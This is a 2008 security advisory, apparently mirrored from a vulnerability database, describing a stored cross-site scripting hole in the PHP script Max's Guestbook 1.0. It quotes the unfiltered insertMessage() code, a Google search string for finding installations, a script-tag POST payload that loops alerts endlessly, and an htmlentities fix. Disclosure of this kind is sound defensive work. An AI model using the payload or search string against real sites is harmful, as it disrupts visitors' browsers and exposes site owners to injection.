Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21015
HistoryDec 14, 2008 - 12:00 a.m.

Max's Guestbook (XSS) Remote Vulnerability

2008-12-1400:00:00
vulners.com
114

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%
%%
%% Discovered by: GTADarkDude
%% Disconvered on: 10 December 2008
%% Name: Max's Guestbook
%% Version: 1.0
%% URL: http://www.phpf1.com/product/php-guestbook-script.html
%% URL2: http://www.hotscripts.com/Detailed/78571.html
%% Google Search: intitle:"Max's Guestbook" powered-by-PHP-F1
%%
%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

*** File***

maxGuestbook.class

*** Vulnerable Code***

function insertMessage(){
$name = isset($_POST['name']) ? $_POST['name'] : 'Anonymous';
$email = isset($_POST['email']) ? $_POST['email'] : '';
$submitDate = date($this->dateFormat);
$content = isset($_POST['message']) ? $_POST['message'] : '';
//(…)
$f = fopen($this->messageDir.DIRECTORY_SEPARATOR.$filename.".txt","w+");
fwrite($f,$name."\n");
fwrite($f,$email."\n");
fwrite($f,$submitDate."\n");
fwrite($f,$content."\n");
fclose($f);
}

*** Exploit***

$_POST['name'], $_POST['email'] AND $_POST['message'] are each not filtered whatsoever.
Not when inserted [insertMessage()], nor when displayed [displayGuestbook($page)] -> XSS!

POST DATA: name=<script>while(1) alert(1337)</script>; message=qwertyuiop

*** Solution***

Easy, simply filter all the $_POST and $_GET variables, for example by using htmlentities($var,ENT_QUOTES)